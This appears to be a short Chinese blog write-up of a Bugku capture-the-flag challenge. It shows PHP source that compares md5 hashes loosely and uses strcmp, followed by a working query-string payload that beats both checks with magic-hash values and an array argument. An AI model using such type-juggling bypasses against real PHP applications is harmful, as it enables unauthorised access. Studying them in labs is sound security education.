• 注册
当前位置:1313e > 默认分类 >正文

三十一、bugku前女友

code.txt


if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){       //get请求v1,v2,v3$v1 = $_GET['v1'];$v2 = $_GET['v2'];$v3 = $_GET['v3'];if($v1 != $v2 && md5($v1) == md5($v2)){                // v1 != v2 && md5(v1) == md5(v2)if(!strcmp($v3, $flag)){                // strcmp二进制安全字符串比较      str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。echo $flag;                            //v3的值等于flag的值就输出flag}}
}
?>
?v1=QNKCDZO&v2=s878926199a&v3[]=4

strcmp的绕过,我们只需要定义v3为数组或则全局变量object就可以了,因为报错为0,说明两个值相等。

本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 162202241@qq.com 举报,一经查实,本站将立刻删除。

最新评论

欢迎您发表评论:

请登录之后再进行评论

登录